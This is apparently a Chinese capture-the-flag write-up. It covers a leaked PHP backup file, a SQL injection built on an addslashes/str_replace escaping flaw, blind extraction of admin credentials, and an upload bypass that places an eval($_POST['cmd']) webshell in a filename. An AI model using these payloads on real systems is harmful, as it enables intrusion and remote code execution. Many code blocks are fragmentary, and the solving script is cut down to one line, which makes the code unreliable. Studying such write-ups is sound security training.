考点:备份文件泄漏、sql盲注、绕过php字符文件上传
打开
一个普普通通的登录框,查看源代码,图片是通过请求 image.php?id=1 的方式得到的。测试了下,好像只会显示图片和不显示图片,只要发现有登录框的题,都会测试sql注入,和扫目录。sql注入,没有明显报错,扫描目录的结果如下。
发现 robots.txt
image.php.bak
关键信息
打开 robots.txt
关键信息 *.php.bak
下载 image.php.bak
得到一份image.php 的源码
1 | <?php |
简化代码
1 |
|
1 | // $code=' |
当我输入 \0
,addslashes函数会将 \0
转换成 \\0
, 在经过str_replace的替换 ,就会逃逸出一个\
。这个斜杠会照成什么危害呢,接下来把这个\
拼接到sql语句中。
1 | # |
可以看到 "select * from images where id='\' or path='{$path}'"
中的 '
被转义 成了 \'
,id的值就变成了 \' or path=
,后面的 $path 可控。
直接构建payload
1 | ?id=\0&path= or 1=1 --+ |
完整的sql查询语句
1 | select * from images where id='\' or path=' or 1=1 --+' |
id值成了 \' or path=
可控部分为 or 1=1 --+
--+
注释掉了后面单引号。
需要注意的地方是 or 前边需要留一个空格,不然会挨在id值后面,导致语法失效。
接下来进行利用
sql盲注
构建payload
1 | # 查表名 |
上脚本
1 | import requests |
还是别人写的脚本优雅,自己写的要提交两次。
结果
用户名 admin
密码 abd0ad13f4eed251de2c
登录
绕过php字符文件上传,文件名写马
经过几经尝试,可以上传除php以外的文件,就是传入的文件名和后缀中不能存在 php
,上传后不会给上传到的文件路径,但是会回显下边这样的一个记录。
打开
这个文件记录了上传的文件名。
那么思路就是,通过修改上传文件的文件名为一句话木马,然后访问这个文件进行利用,这里的文件名不能存在 php
字样,用php短标签代替。
一个小知识 PHP开启short_open_tag=on,即可使用短标签
payload
1 | <=eval($_POST['cmd']); |
访问